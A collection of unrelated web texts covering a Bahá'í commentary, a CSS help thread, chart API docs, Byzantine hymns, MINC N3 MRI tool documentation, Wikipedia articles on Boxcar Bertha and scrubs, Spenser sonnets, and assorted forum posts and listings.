A similar situation faces a believer in Bahá'u'lláh. To have recognized Him as a Manifestation of God is not sufficient. What is needed in addition is steadfastness in the Covenant, a term which may be summed up as turning to the Centre of the Cause and obeying His guidance. In the days of Bahá'u'lláh He, Himself, was the Centre of the Cause to whom the believers turned. After Him they turned to 'Abdu'l-Bahá as the Centre of His Covenant, and then to Shoghi Effendi, the Guardian of the Faith, and today to the Universal House of Justice. It is by turning to the Centre of the Cause as an infallible source of guidance that the believer can be protected from many pitfalls in his life and, like the pilot in the analogy who follows the navigational instructions, arrive at his spiritual abode in the worlds beyond.
In the Tablet of Tajallíyát Bahá'u'lláh enjoins upon everyone
the study of arts and sciences, but disapproves of those which begin with words and end with words. This subject has been stressed repeatedly by Bahá'u'lláh in His Tablets and will be discussed later.*
* see below, pp. 162, 236.
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5. Jumbotron: paragraphs
I'm stuck in the same place. Selecting h1 in the jumbotron worked fine, but I can't get the p to work. My code looks like this:
.jumbotron p {
color: #fff;
font-size: 20px;
I keep getting this error message: "Oops, try again. Set the color of the p element inside <div class="jumbotron">..</div> to #fff"
I can't figure out what I'm doing wrong.
Help CSS Styling - Jumbatron:Paragraphs
Your .jumbotron p { ... looks perfect so let's look for the error elsewhere.
Show me the rest of your CSS file please.
Here it is:
.nav a {
color: #5a5a5a;
font-size: 11px;
font-weight: bold;
padding-top: 14px;
padding-bottom: 14px;
padding-left: 10px;
padding-right: 10px;
text-transform: uppercase;
.jumbotron {
height: 500px;
.jumbotron h1 {
color: #fff;
font-size: 48px;
font-weight: bold;
.jumbotron p {
color: #fff;
font-size: 20px;
You are missing two of these: }
Let me know if you need help seeing that.
Thanks! I did have the closing brace on the p; it just didn't come through the second time I pasted. I had wondered before if the first jumbotron styling needed a closing brace, but I thought that couldn't be the problem, since I would've received the error message earlier. But that does help now, since I wasn't getting the background image for the jumbotron before. I just can't figure why it didn't give me the error message until now.
It's not perfect for sure. Trust your web view to tell you something is wrong and don't hesitate to ask!
Thanks! You are so quick to reply -- I really wasn't expecting that. I even went off to make more coffee. You are awesome!
Thanks for the idea :wink:
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Operations with Chart Data
Getting Item Value
You can get the value of any item in the following way:
Getting value of the year property
$$("chart").attachEvent("onItemClick", function(id){
id = this.getItem(id).year;
Related sample: Chart: Events
Adding Items
While adding an item, make use of the add method and state new data as an object and position of the new item:
var counter = 12;
function addNew () {
Additionally, you can define a counter that sets the starting position of the new items to observe dataset integrity.
Deleting Items
To delete an item or several items, you should pass the id of the item (or an array of items' ids) into the remove function.
$$("barChart").remove("item_id"); // to delete a single item
$$("barChart").remove(["idA","idB","idC","idD"]); // to delete multiple items
You can also delete first and last items from the dataset as follows:
function deleteFirst(){
Related sample: Chart: Adding/Deleting Data Items
Study the corresponding chapter of the manual to learn more about adding and deleting of items.
Sorting Data
Here you use the sort method that takes property from the initial dataset and the sorting manner (ascending or descending) as parameters.
Related sample: Chart: Sorting
Filtering Data
As a rule, the filter method takes a function as parameter. In the function you specify the data you want to be filtered.
Make the chart show you only sales exceeding 50.
function filter1(){
return obj.sales >50;
Related sample: Chart: Filtering
Rules of data filtering and sorting are described in the related article.
Back to top
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Highlighted Courses in EPE for Fall 2015
posted in: Uncategorized | 0
Please click the link for a list of Highlighted Courses being offered in EPE during the Fall 2015 term. Questions regarding course content should be directed to the course instructor. For assistance with registration you should contact Katelyn Cross at [email protected].
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Kathisma Reading
“Blessed is the man…” is sung.
At Psalm 140
At Psalm 140
In Tone 8
O Christ, during this spiritual service,
we sing to You these evening prayers,
commemorating the mercy You have shown us
by Your resurrection.
O Lord, O Lord, do not cast us away from Your face;
but in Your kindness have mercy on us
through Your resurrection.
Rejoice, O holy Zion,
the Mother of Churches and the dwelling-place of God;
for you were the first to receive the forgiveness of sins
through the resurrection.
Christ the Word was begotten by God the Father before all ages;
yet in these latter times,
He freely willed to take flesh from the Virgin who did not know man.
By His death on the cross and His resurrection,
He saved mankind from the ancient curse of death.
O Christ, we glorify Your resurrection;
for by rising from the dead
You freed the race of Adam from the sufferings of Hades,
and as God You granted eternal life
and great mercy to the world.
Glory to You, O Christ our Saviour,
the only-begotten Son of God;
for You were nailed to the cross,
and then arose from the dead on the third day.
In Tone 6
O Word and lover of Mankind,
infinite and beyond description in Your taking flesh for our sake,
the nobles assembly of Fathers proclaimed that You are both perfect man and perfect God,
one person in two perfect natures with two perfect wills.
Therefore, we profess that You are one God with the Father and the Holy Spirit.
We sing a hymn of praise to the Fathers, and we adore You.
O glorious Fathers of the Councils,
you demonstrated that Pyrrhus, Sergius, and Onuphrius,
Dioscorus, and Nestorius were in error
concerning the doctrines of Christ.
You save the flock by teaching the true principle
that Christ is one divine person in two natures.
This Christ we adore as perfect man and perfect God,
one with the Father and the Holy Spirit.
O holy Fathers, we honour you and sing to you a hymn of praise.
The Fathers of the Councils, inspired by God,
declare and explain that in Christ
there is a divine act and a divine will,
uncreated and infinite:
the act and will of the Son of God.
There is also a human act and a human will:
those of the Son of Man.
Thus, they proclaim that Christ is one divine person having two natures,
the one is divine and the other is human.
Therefore, we the faithful honour these Fathers every year
and glorify Christ who glorified them.
The Fathers of the Councils proclaim to us today
that the eternal Trinity is one God and one Lord.
They explain the Trinity is of one nature,
consubstantial, of one will and one act,
not divided nor shared but existing in the simplicity of God’s being.
They define that this will and act of God
had no beginning and will never have and end.
Therefore, we the faithful glorify these Fathers
as the equals of the Apostles,
for they taught all people the true doctrine of God.
In Tone 6, Glory…
Let us honour today those mystical trumpets of the Spirit,
namely the God-mantled Fathers,
who speaking of divine things,
sang in the midst of the Church a hymn in unison,
teaching that the Trinity is one,
not differing in substance or Godhead,
refuting Arius and defending the orthodox faith.
They always intercede with the Lord
to have mercy on our souls.
In Tone 8, Now…
Out of his love for mankind
the King of heaven appeared on earth and dwelt with men,
for He assumed a human body from the pure Virgin
and was seen in the flesh He received from her.
He is the One and only God having two natures but not two persons.
Wherefore we profess and declare the truth
that Christ our God is perfect God and perfect Man.
O Mother, who knew not carnal union,
intercede with Him that He may have mercy on our souls.
(1) Genesis 14:14-20; (2) Deuteronomy 1:8-11, 15-17; (3) Deuteronomy 10:14-21
In Tone 8
O Jesus, You descended from heaven
so that You might ascend the cross.
O immortal Life, You came to die.
You are the true light to those who live in darkness,
and You are the resurrection of the fallen.
Therefore, O Saviour of all, we glorify You.
The Lord reigns, He is clothed in majesty. * Robed is the Lord, and girt about with strength.
Let us glorify Christ, the Saviour of our Souls
Who arose from the dead.
For He took upon himself a soul and a body,
and during His passion He separated the one from the other.
His pure soul went down to conquer Hades,
while His holy body lay uncorrupted in the grave.
For He has made the world firm. * which shall not be moved.
O Christ, we glorify Your resurrection with psalms and hymns.
For by Your victory over death
You delivered us from the sufferings of Hades,
and as God You granted us eternal life and great mercy.
O Lord of all, Creator of heaven and earth,
You are above all understanding.
Through Your passion on the cross
You freed us from the sufferings of Hades.
And, after condescending to be buried, You arose in glory;
and with Your mighty arm You also raised up Adam.
O most merciful Lord, we glorify You;
for by Your resurrection on the third day
You granted us remission of sins and eternal life.
In Tone 4, Glory…
O holy Fathers of the Councils,
you are the faithful keepers of the Apostles’ traditions.
By proclaiming that the three persons of the Holy Trinity
are one and consubstantial,
you refuted the blasphemy of Arius.
By teaching that the Holy Spirit is a distinct person,
one with the Father and the Son,
you put Macedonius, Severus and other heretics to shame.
Therefore, we beseech you to intercede for us,
preserving us from heresy and error
and keeping our lives blameless in God’s sight.
O most pure Virgin, hear the petitions of your servants.
Remove the burdens which oppress us,
and deliver us from our sorrows;
O Mother of God, never permit us who call upon you
to be overwhelmed by our cares.
Rejoice, O Lady, helper of all mankind,
In Tone 8
You came down from on high, O Merciful One,* and accepted three days of burial* to free us from our sufferings.* O Lord, our life and our resurrection,* glory be to You.
In Tone 8, Glory…
Christ our God, You are glorified above all,* You established our fathers as beacons on earth* and through them guided all of us to the true faith.** Glory to You, most compassionate Lord.
O gracious Lord, for the sake of mankind You were born of a virgin: * through Your death on the Cross You conquered Death; * and through Your resurrection You revealed Yourself as God. * O merciful Lord, do not disdain those whom You have created with Your own hands, * but show forth Your love for mankind. * Accept the intercession which the Mother, who bore You, makes in our behalf. ** O Saviour, save Your despairing people.
Troparia and Kontakia
Kontakion, Tone 6: The Son who ineffably shone from the Father* was born two-fold of nature from a woman.* Beholding Him, we do not reject the image of His form;* but depicting it, we revere it faithfully.* Therefore, the Church, holing the true faith,* kisses the icon of Christ’s becoming man.
Now and for ever and ever. Amen.
Prokeimenon, Tone 4
verse: For You are righteous in everything that You have done to us. (Daniel 3:26-27)
Hebrews 13:7-16
Alleluia, Tone 1
verse: The God of gods, the Lord, spoke and summoned the earth from the rising of the sun to its setting.
John 17:1-17
Communion Hymn
Praise the Lord from the heavens,* praise Him in the highest.* Rejoice in the Lord, O you just;* praise befits the righteous.* Alleluia, alleluia,* alleluia. (Psalms 184:1; 32:1)
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Open main menu
File:Regular star truncation 9-7 5.svg
Original file(SVG file, nominally 985 × 1,000 pixels, file size: 3 KB)
English: Regular polygon general truncation
Source Own work
Author Tomruen
w:en:Creative Commons
attribution share alike
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• to share – to copy, distribute and transmit the work
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global_01_local_1_shard_00001926_processed.jsonl/27326
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From Wikibooks, open books for an open world
< MINC | Tools
Jump to navigation Jump to search
The N3 package implements a non-parametric method for correction of intensity non-uniformity in MRI data.
An artifact often seen in MRI is for the signal intensity to vary smoothly across an image. Variously referred to as RF inhomogeneity, shading artifact, or B0 intensity non-uniformity, it is usually attributed to such factors as poor radio frequency (RF) field uniformity, eddy currents driven by the switching of field gradients, and patient anatomy both inside and outside the field of view.
nu_correct implements an approach to correcting for intensity non-uniformity in MR data that achieves high performance without requiring supervision. By making relatively few assumptions about the data, the method can be applied at an early stage in an automated data analysis, before a tissue intensity or geometric model is available. Described as Non-parametric Non-uniform intensity Normalisation (N3), the method is independent of pulse sequence and insensitive to pathological data that might otherwise violate model assumptions.
To eliminate the dependence of the field estimate on anatomy, an iterative approach is used to estimate both the multiplicative bias field and the distribution of the true tissue intensities. Pre processing of MR data using N3 has been shown to substantially improve the accuracy of anatomical analysis techniques such as tissue classification, registration and cortical surface extraction.
The N3 package's contents[edit]
There are a number of scripts and tools included in the N3 package. The main script that you will use is nu_correct. Each script or executable has its own own help page which can be accessed as such:
nu_correct -help
nu_correct makes use of a number of other binaries and scripts that are also useful on their own. Their functionality is summarised below:
nu_correct estimates and removes intensity non-uniformity from a volume.
nu_estimate estimates the intensity non-uniformity in a volume,
storing the result in a compact format referred to as an .imp file.
nu_evaluate corrects the intensity non-uniformity in a volume using the given .imp file.
imp2field expands an .imp file into a MINC volume representation of the correction field.
field2imp converts a MINC volume representation of a correction field into an .imp file.
spline_smooth smooths a volume using tensor cubic B splines or thin plate splines.
What N3 does and how to use it[edit]
B0 non-uniformity is difficult to detect when simply looking at images without the assistance of a judiciously ranged color map. In our test case we'll start with a simple T1 MPRAGE image from a 1.5T Siemens scanner.
The above image and all the images here were created using mincpik in a similar fashion to the below.
mincpik -scale 2 original.mnc -slice 150 -image_range 10 80 original.png
Note that it is difficult to pick the non-uniformity in the image unless you look carefully at the intensity of the white matter in the lower parts of the image. In order to correct this image we run nu_correct with the default parameters.
nu_correct original.mnc out.mnc
This will produce two output files
out.mnc - the corrected minc file
out.imp - the intensity correction field
We can now take a look at the corrected file (out.mnc)
As it is very hard to pick the differences between the original and corrected version we can create a field image to visualise the differences.
imp2field -like out.mnc out.imp field.mnc
And then produce an image of it using the Spectral colormap
mincpik -scale 2 field.mnc -slice 150 -lookup -spectral field.png
And then for completeness sake, here are the original and corrected image using a spectral colormap to better visualise the change. Note that in the second (corrected) image the intensity of the white matter is more uniform (the red part).
Minc-n3-ex-original-spect.png Minc-n3-ex-corrected-spect.png
Frequently Asked Questions about MNI N3[edit]
How can I convert raw data to the format that N3 uses?
N3 uses data in the MINC file format. The minc package provides two programs rawtominc and minctoraw for converting raw data to and from minc format respectively. An example of using these programs is as follows. Suppose the data is unsigned short integers consisting of twenty-four 256 by 256 slices. If this data came from an MRI scanner producing 12 bit data with different endian than the machine running rawtominc then one might do the conversion as follows:
dd conv=swab if=mydata.raw | rawtominc -transverse -short -unsigned \
-xstep -1 -ystep -1 -zstep 5.5 -mri -origin 0 0 0 \
-range 0 4095 -real_range 0 4095 -clobber mydata.mnc 24 256 256
And the conversion back to raw as follows:
minctoraw -range 0 1800 -normalize somedata.mnc | dd conv=swab of=somedata.raw
N3 produces an error message when I specify a mask volume. What's wrong?
The masked region for N3 is defined as any voxel greater than zero. However, the program extracttag which resamples the mask into the working resolution has some peculiarities which can result in errors. The trouble is that extracttag is fussy about the real range of the data set. In the minc format the mapping between the raw binary data (so called voxel values) and their interpretation as real numbers (so called real values) is somewhat arbitrary.
By default rawtominc sets the mapping to map the entire range of voxel values to the range [0, 1]. This can be overridden by giving the -range and -real_range options. For example, for 12 bit MR data one might choose -range 0 4095 -real_range 0 4095. Anyway, I'm not exactly clear on what extracttag excepts and doesn't except. However, I have found the command
mincmath -gt -const 0 old_mask.mnc new_mask.mnc
fixes the problem.
As an aside about real and voxel ranges, keep in mind that N3 treats values less than one as part of the background. Hence, a data set created by rawtominc without a range specification will yeild a volume that is empty as far as N3 is concerned.
Can N3 be used on single slice data?
Yes, it works fine on single slice data. Note, however, that a bug in version 1.02 may create erratic results for volumes with only a few slices. This is fixed in version 1.04.
Can I use N3 for surface coil data?
Yes, however the default settings are not optimal. Due to the extreme non-uniformity in surface coil data, N3 usually hits its iteration limit before the correction is complete. Try using nu_correct with the options -iterations 150. If that doesn't help, try reducing the stopping threshold as well by adding the option -stop 0.0001.
Why do I get a different result when I run N3 a second time?
For volumes with particularly severe non-uniformity, N3 reachs its iteration limit before the algorithm has converged. In these instances running the algorithm a second time should improve upon the result. However, it is more straight forward to adjust the stopping criteria using the -iterations and -stop options to set the maximum number of iterations and minimum change in field estimate respectively. Try for example the option '-iteration 150'.
1. J. G. Sled, A. P. Zijdenbos, and A. C. Evans, ``A non-parametric method for automatic correction of intensity non-uniformity in MRI data, IEEE Transactions on Medical Imaging, vol. 17, pp. 87-97, February 1998.
2. J. G. Sled, A. P. Zijdenbos, and A. C. Evans, ``A comparison of retrospective intensity non-uniformity correction methods for MRI, in Information Processing in Medical Imaging, pp. 459-464, 1997. (Conference poster: HTML version)
3. J. G. Sled, ``A non-parametric method for automatic correction of intensity non-uniformity in MRI data, Master's thesis, McGill University, Montreal, QC, May 1997. (available at http://www.bic.mni.mcgill.ca/~jgsled/thesis/)
Further information and Questions[edit]
Use the minc-users mailing list
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global_01_local_1_shard_00001926_processed.jsonl/27327
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Boxcar Bertha
From Wikipedia, the free encyclopedia
Jump to navigation Jump to search
Boxcar Bertha
Boxcar Bertha (1972).jpg
Theatrical release poster
Directed byMartin Scorsese
Produced byRoger Corman
Screenplay byJoyce H. Corrington
John William Corrington
Based onSister of the Road
by Ben L. Reitman
StarringBarbara Hershey
David Carradine
Barry Primus
Bernie Casey
John Carradine
Music byGib Guilbeau
Thad Maxwell
CinematographyJohn Stephens
Edited byBuzz Feitshans
Distributed byAmerican International Pictures
Release date
• June 14, 1972 (1972-06-14)
Running time
87 minutes
CountryUnited States
Boxcar Bertha is a low budget 1972 American romantic crime drama film directed by Martin Scorsese.[1] It is a loose adaptation of Sister of the Road, a pseudo-autobiographical account of the fictional character Bertha Thompson, written by Ben L. Reitman.[2][3] It was Scorsese's second feature film.
The film tells the story of Boxcar Bertha Thompson and "Big" Bill Shelly, two train robbers and lovers who are caught up in the plight of railroad workers in the American South. When Bertha is implicated in the murder of a wealthy gambler, the pair become fugitives.
After the success of Bloody Mama, Roger Corman wanted to make another female gangster film. Julie Corman researched female gangsters and came across the story of Boxcar Bertha. Martin Scorsese was hired to direct on the strength of his first feature. He was given the lead actors, including Barbara Hershey, David Carradine, and Barry Primus, and a shooting schedule of 24 days in Arkansas.[4] The Reader Railroad was used for the train scenes.
The locomotive in those scenes was 1920 Baldwin 2-6-2 #108, who later saw service on the Conway Scenic Railroad in the late 1970s. The engine is currently at the Blacklands Railroad yard in Sulphur Springs Texas, awaiting restoration. Locomotive #1702, a USATC S160 2-8-0 built by Baldwin in 1942, was also seen in the film as well. The locomotive is now operational at the Great Smoky Mountains Railroad.
Scorsese makes a cameo in the film as one of Bertha's clients during the brothel montage.[5]
Hershey later called the film "a lot of fun even though it's terribly crippled by Roger Corman and the violence and sex. But between the actors and Marty Scorsese the director, we had a lot of fun. We really had characters down but one tends to not see all that, because you end up seeing all the blood and sex."[6]
Boxcar Bertha received mixed reviews from critics. It holds a rating of 48% on Rotten Tomatoes based on 21 reviews.[7]
See also[edit]
1. ^ "Boxcar Bertha". Turner Classic Movies. United States: Turner Broadcasting System. Retrieved March 5, 2018.
2. ^ Ben L. Reitman (1937). Sister of the Road. New York City: The Macaulay Company. ASIN B0008581E4.
5. ^ Gary A. Smith, The American International Pictures Video Guide, McFarland 2009 p 33
6. ^ "THEATRE". Tharunka. 27, (13). New South Wales, Australia. 12 October 1981. p. 28. Retrieved 27 April 2017 – via National Library of Australia.
7. ^ "Boxcar Bertha (1972)". Rotten Tomatoes. Retrieved 14 June 2018.
External links[edit]
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global_01_local_1_shard_00001926_processed.jsonl/27328
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Scrubs (clothing)
From Wikipedia, the free encyclopedia
Jump to navigation Jump to search
A scrub top
Scrub trousers
The spread of methicillin-resistant Staphylococcus aureus (MRSA) has increased the use of scrubs but can give wearers a false sense of security that they are 'clean' when in fact they are as easily contaminated as any other clothing.[1]
History of surgical attire[edit]
In contrast to the uniforms long required of nurses,[2] surgeons did not wear any kind of specialized garments until well into the 20th century.[3] Surgical procedures were conducted in an operating theater. The surgeon wore his own clothes, with perhaps a butcher's apron to protect his clothing from blood stains,[4] and he operated bare-handed with non-sterile instruments and supplies. (Gut and silk sutures were sold as open strands with reusable hand-threaded needles; packing gauze was made of sweepings from the floors of cotton mills.) In contrast to today's concept of surgery as a profession that emphasizes cleanliness and conscientiousness, up to the early 20th century the mark of a busy and successful surgeon was the profusion of blood and fluids on his clothes.[5] The importance of dress as a badge of one's class in society was paramount and the processes behind the transmission of infection were the subject of controversy within the profession.
With the "Spanish flu" pandemic of 1918 and the growing medical interest in Lister's antiseptic theory, some surgeons began wearing cotton gauze masks in surgery; however, this was not to protect the patient from intra-operative infection, but to protect the surgeon from the patient's diseases. Around the same time, operating theatre staff began wearing heavy rubber gloves to protect their hands from the solutions used to clean the room and equipment, a practice surgeons grudgingly adopted.
American hospital workers in Baltimore, Maryland wearing scrubs in March 2001.
Nearly all patient care personnel at hospitals in the United States wear some form of scrubs while on duty, as do some staffers in doctor, dental, and veterinary offices. Doctors in the United States may wear their own clothes with a white coat except for surgery. Support staff such as custodians and unit clerks also wear scrubs in some facilities. When the physician is not performing surgery, the scrub is often worn under a white coat.
In the UK, all NHS hospital trusts have stringent clothing policies, and many of these specifically forbid wearing the iconic white coat for medical staff, owing to infection control concerns. This has meant that several hospitals around the UK have opted for scrubs for staff, especially in Accident and Emergency departments.
Scrubs are also sometimes used as prison uniforms in the U.S and other countries.
Modern scrubs[edit]
Dickies scrubs uniforms on the rack in a Work 'n Gear store in Dorchester, Massachusetts (December 2012)
Today, any medical uniform consisting of a short-sleeve shirt and pants is known as "scrubs". Scrubs may also include a waist-length long-sleeved jacket with no lapels and stockinette cuffs, known as a "warm-up jacket".
Colors and patterns[edit]
Scrubs worn in surgery are almost always colored solid light grey, light green, light blue or a light green-blue shade.
Some hospitals use scrub color to differentiate between patient care departments (i.e. Surgery, Childbirth, Emergency, etc.) or between licensed patient care personnel (nurses, radiologic technologists, respiratory and physical therapists, etc.), unlicensed assistive personnel, and non-patient care support staff (i.e. portering, dietary, unit clerks, etc...). Hospitals may also extend the practice to differentiate non-staff members/visitors.
In England and Wales many NHS trusts use different colored scrubs to distinguish between different branches of healthcare professionals, for example anaesthetists may wear maroon. This allows staff and patients to easily spot the workers they are looking for in a high pressure situation. Piping of different colors or pattern are also often used to distinguish seniority. Many hospitals have posters in reception areas explaining this system but it is mainly designed for hospital staff.
Custom-made printed scrub tops, featuring cartoon characters and cheerful prints, are common in pediatricians' offices, veterinary offices, dental clinics and children's hospitals, and prints for various holidays can be seen throughout the year. Some acute care facilities or larger hospitals also have relaxed rules regarding the wear of non-regulation scrubs in non-surgical units, and they are no longer just the classic v-neck scrub tops, but are now offered in many styles and patterns.
The scrub industry, much like maternity wear, used to have very limited fashion options. Indeed, scrubs were generally box shaped and ill fitted; often with limited design choices. Over the past 10 years, the scrub industry has taken notice of the individual preferences of medical professionals and have begun to design and manufacture fashionable and unique designs.
Two women with large piles of scrubs and a washing machine
January 2015 laundry service in a medical facility in Sierra Leone. The scrubs are cleaned in-house to prevent the spread of disease.
Surgical scrubs are not generally owned by the wearer. Due to concerns about home laundering and sterility issues, these scrubs are usually hospital-owned or hospital-leased through a commercial linen service. And due to these laundering and sterility limitations, disposable scrub suits were introduced in the market.
Scrub caps[edit]
Scrub caps have graduated from being functional to also being a personalized accessory both in the operating room and outside. Before the antiseptic focus of the 1940s, hats were not considered essential to surgery. From the 1940s through the 1950s, as a hygienic focus swept the industry, hats became standard wear to help protect patients from contaminants in hair. Full-face hats were even designed for men with beards. These hats have been and continue to be distributed by group purchasing organizations (GPOs) who supply hospitals with most equipment.
In the medical fashion 'revolution' of the seventies, more and more medical professionals began personalizing their scrubs by either sewing their own hats or buying premade hats made of eclectic fabric. Several styles were popular, including the 'bouffant' surgical cap, a utilitarian hairnet-like hat which typically comes in light blue, and the 'milkmaid', a bonnet-like wrap around hat.
In 2016, a controversy emerged around the use of cloth or disposable surgical caps vs mandatory use of bouffant style surgical caps.[6] This controversy ended in state mandates for the use of bouffant caps to comply with Joint Commission standards.[7]
See also[edit]
1. ^ Neely, A. N.; Maley, M. P. (2000). "Survival of Enterococci and Staphylococci on Hospital Fabrics and Plastic". Journal of Clinical Microbiology. 38 (2): 724–726.
2. ^ Hardy, Susan and Corones, Anthony, "The Nurse’s Uniform as Ethopoietic Fashion", Fashion Theory, Vol.21, No.5. (2015), pp. 523-552. doi=10.1080/1362704X.2016.1203090
4. ^ Sherlock, Angela. "The Origin of Scrubs". Medelita Lab Coats & Scrubs. Retrieved 13 July 2011.
5. ^ Udin, Zaf. "Nursing Uniforms of the Past and Present". Pulse Uniform. Retrieved 14 November 2011.
6. ^ Kowalczyk, Liz (2016-08-31). "No more surgical caps for surgeons?". The Boston Globe.
7. ^ Skeptical Scalpel (2016-04-26). "It's time to discuss surgeon headgear again".
External links[edit]
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global_01_local_1_shard_00001926_processed.jsonl/27331
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English poetry
Poems in English
Poem 96
SHe tooke him streight full pitiously lamenting, And wrapt him in her smock: She wrapt him softly, all the while […]
Sonnet IIII
NEw yeare forth looking out of Ianus gate, Doth seeme to promise hope of new delight: And bidding th’old Adieu, […]
Sonnet LI
DOe I not see that fayrest ymages Of hardest Marble are of purpose made? For that they should endure through […]
Poem 90
IN youth before I waxed old. The blynd boy Venus baby, For want of cunning made me bold, In bitter […]
Sonnet XLIII
SHall I then silent be or shall I speake? And if I speake, her wrath renew I shall: And if […]
Poem 22
ANd thou great Iuno, which with awful might The lawes of wedlock still dost patronize, And the religion of the […]
Sonnet X
VNrighteous Lord of loue what law is this, That me thou makest thus tormented be: The whiles she lordeth in […]
Sonnet LXIII
AFter long stormes and tempests sad assay, Which hardly I endured heretofore: In dread of death and daungerous dismay, With […]
Sonnet LXXIX
MEn call you fayre, and you doe credit it, For that your selfe ye dayly such doe see: But the […]
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global_01_local_1_shard_00001926_processed.jsonl/27343
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100% Compra Segura
Studio equipment
Visit Juno Studio
100% Compra Segura
DJ equipment
Cat: BP 047. Rel: 19 Oct 16
1. Samaria District I (5:43)
2. Operation (4:41)
3. Ex Adenoma Pleomorfico (6:05)
4. Perindsor (5:23)
Intérprete: HomePark
in stock $7.86
Cat: BP 522. Rel: 25 Oct 18
1. Obsidian (Makaton remix) (6:22)
2. Grintstone (James Ruskin remix) (7:05)
3. Flint (OVR remix) (7:29)
4. Komatiite (Broken English Club remix) (4:53)
Review: Blueprint bosse James Ruskin has gathered together an impressive cast-list of producers to rework tracks from Rommek's recent trilogy of EPs, Set In Stone. Ruskin is naturally one of these, and his creepy, atmospheric revision of "Grintstone" - all mangled metallic noise, slowly throbbing orchestration, distorted drums and booming bass - is undoubtedly one the EP's highlights. Also impressive is OVR's moody, hybrid electro/broken techno take on "Flint", while Blueprint veteran Oliver Ho steals the show (as Broken English Club) with a clanking and spacey version of "Komatiite" that fixes poignant, melancholic chords and barely audible spoken word vocals to a heavy slo-mo beat. Meanwhile, if thrusting industrial techno is your thing, check out the pots-and-pans percussion and intense bass of Makaton's version of "Obsidian".
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Intérprete: S-File
in stock $7.86
Sedimentary (heavyweight coloured vinyl 12")
Cat: BP 0521. Rel: 20 Jul 18
1. Grey Wacke (7:11)
2. Grintstone (6:35)
3. Arkose (6:10)
4. Flint (5:07)
Review: Rommek has hit a rich vein of form since pitching up on Blueprint Records a couple of years back. Sedimentary is his fourth solo EP for James Ruskin and Richard Polson's long running label, and once again features some seriously good material. We're particularly enjoying the electro-influenced swing of broken techno opener "Grey Wacke", where pulsating riffs slightly reminiscent of Orbital classic "Walk Now" buzz around foreboding chords and fizzing, mind-altering electronics. There's plenty to set the pulse racing elsewhere, though, from the dystopian industrial techno heaviness of "Grintstone" and rubbery, broken techno bounce of "Arkose", to the unsettling, sub-bass driven ambient trip that is wayward closer "Flint".
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in stock $7.86
Domwen (heavyweight white vinyl 12")
Cat: BP 053. Rel: 05 Dec 18
1. Domwen (6:40)
2. Screwface (5:10)
3. Okt (4:29)
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in stock $8.38
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global_01_local_1_shard_00001926_processed.jsonl/27346
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Research Question/Problem
1. Research Question/Problem—and, generally, the author’s Purpose for writing the article
2. Literature Review and/or a Theoretical/Conceptual Foundation
3. Methodology—data collection and data analysis section
4. Results or Findings
5. Discussion or Implications.
3. What is usually called ‘Methodology’ is called ‘Research Methods’, while
4. the Results or Findings in this article are quite long and contains a number of sub headings;
Assignment Directions:
Submit a double-spaced, three-four-page paper in Microsoft Word with the following parts:
• An Introductory paragraph that states the author’s last name, date, and the central focus of the article. Then in this same paragraph: write a purpose or thesis statement—that is yourpurpose or intent in writing this critique [WHAT] and a brief ‘map’ or ‘preview’ statement of the 5 elements you intend to develop in the body, to support your purpose. Do not title the section as the Introduction.
• A Body that breaks the 5 elements of a research article into Level Two headers, starting the first sentence of each paragraph with a topic sentence that focuses on the strengths and/or weaknesses of that element. Be sure to support each point with evidence from the article—quotes, paraphrases [See Citations, APA, Ch 6 to check how to do this].
Other requirements:
• Then, finally, consider these points:
• Use direct quotes sparingly—cite accurately, with quotation marks, etc.
• For any paraphrases, be sure to give credit to the author.
• Use correct grammar, spellcheck and proofread your paper.
Use this article:
Reflecting on Practice: using learning journals in higher and continuing education ARTHUR M. LANGER Teachers College, Columbia University in the City of New York, 203 Lewisohn Hall, Mail Code 4114, 2970 Broadway, New York, NY 10027, USA
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global_01_local_1_shard_00001926_processed.jsonl/27356
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Did you hear about the woman who was smoking and pumping gas at the same time?
Discussion created by jonescarp.aka.dale.Jan_2007 on Apr 12, 2017
Latest reply on Apr 13, 2017 by freeneasy
Her arm caught on fire.
Fortunately, two cops were standing close by. They pushed her to the ground and poured their coffee on her arm to extinguish the fire then, they handcuffed her and put her in their cruiser.
An observer who had witnessed the incident asked
"what could you possibly charge her for?'
The policemen looked at each other and replied,
"Brandishing A Firearm."
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global_01_local_1_shard_00001926_processed.jsonl/27386
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Lost keys
1. Can i get a new set of lock and keys at the boutique because I've lost the keys to the lock that came with my mabillon. Will they charge me for a second set?
2. Ive heard from people off hear that they will open your lock if its locked your bag shut but will not replace the lock and keys you have to buy them. Sorry :sad:
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global_01_local_1_shard_00001926_processed.jsonl/27388
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View Single Post
Old 2011-04-24, 21:01 Link #9857
Kenju of the Right
Imagine Breaker
Join Date: Mar 2011
Just as I thought, only few such as I can appreciate the almighty preachings of Touma!
-Light Novel Reading Progress-
TAMNI New Testament: Volume 14 Complete
Hai to Gensou no Grimgar: Volume 1 Complete
Intellectual Village: Volume 6 Chapter 3
Mitou Shoukan:// Blood Sign Volume 1 Chapter 1
Heavy Object: Volume 10 Complete
Gakusen Toshi Asterisk: Volume 7 Chapter 2
Mahouka Koukou no Rettousei: Volume 12 Chapter 12
Rokka no Yuusha Volume 4 Chapter 1
Kenju of the Right is offline
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global_01_local_1_shard_00001926_processed.jsonl/27392
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Jump to content
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Everything posted by BrockleyJohn
1. BrockleyJohn
NEW! Complete Order Editing Tool!
@joe122joe they aren't errors, just notices which you shouldn't be displaying in production. Some are things that didn't get noticed in earlier versions of php, some are just lazy coding but you can ignore them.
2. I think core code only offers you the logoff option when you're logged in - whether in the navbar account menu or the header buttons. Not so sure about the footer menus as I've barely used them.
3. BrockleyJohn
PHP 7
@ArtcoInc generally speaking, it shouldn't be a problem. There is syntax on 7-7.2 that isn't supported on 5.6 but you're probably not going to be using any of it in your new version... spaceships <=>, null coalescing ($action = $_GET['action'] ?? 'default'), anonymous classes, constant arrays and a bunch of other things that don't spring straight to mind. The only bit of code I can think of that doesn't work across versions is something to do with error-handling on evals but you probably haven't got any of that anyway. The evaluation order in statements is the other way round (eg. when working out what $$class->$method($param[$$key]) means but that should have been fixed by putting in curly braces to make it expllicit in the statement. The approach would be - get a set of code running without issue on 7 and then turn the version back down to 5.6 for a test. hth
4. BrockleyJohn
NEW! Complete Order Editing Tool!
@joe122joe You have extra stuff in the beginning of includes/languages/english/modules/shipping/flat4.php before the <?php
5. BrockleyJohn
NEW! Complete Order Editing Tool!
